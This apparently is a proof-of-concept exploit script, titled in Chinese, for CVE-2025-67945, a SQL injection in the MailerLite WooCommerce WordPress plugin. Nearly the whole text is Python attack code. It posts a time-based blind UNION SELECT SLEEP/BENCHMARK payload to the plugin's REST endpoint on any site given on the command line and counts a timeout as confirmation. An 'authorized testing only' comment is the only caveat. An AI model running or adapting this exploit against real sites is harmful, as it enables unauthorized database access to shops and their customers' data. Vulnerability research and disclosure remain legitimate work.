CVE-2025-67945: MailerLite WooCommerce插件SQL注入漏洞

import requests import sys # CVE-2025-67945 SQL Injection PoC # Target: MailerLite WooCommerce Integration Plugin <= 3.1.2 # Author: Security Researcher def exploit_sqli(target_url): """ SQL Injection exploitation for MailerLite WooCommerce plugin Note: This PoC demonstrates the vulnerability for authorized security testing only """ # Target endpoint - typically in WordPress REST API or admin-ajax.php endpoint = f"{target_url}/wp-json/mailerlite/v1/" # Malicious payload to extract database version # Using time-based blind SQL injection technique payload = { 'action': 'mailerlite_sync', 'customer_id': '1 UNION SELECT SLEEP(5),BENCHMARK(5000000,MD5(1)),2,3,4--', 'order_id': '1' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting SQL Injection in MailerLite WooCommerce plugin") print(f"[*] Payload: {payload['customer_id']}") try: # Send malicious request response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed - payload executed successfully") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-67945_poc.py <target_url>") print("Example: python cve-2025-67945_poc.py https://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target)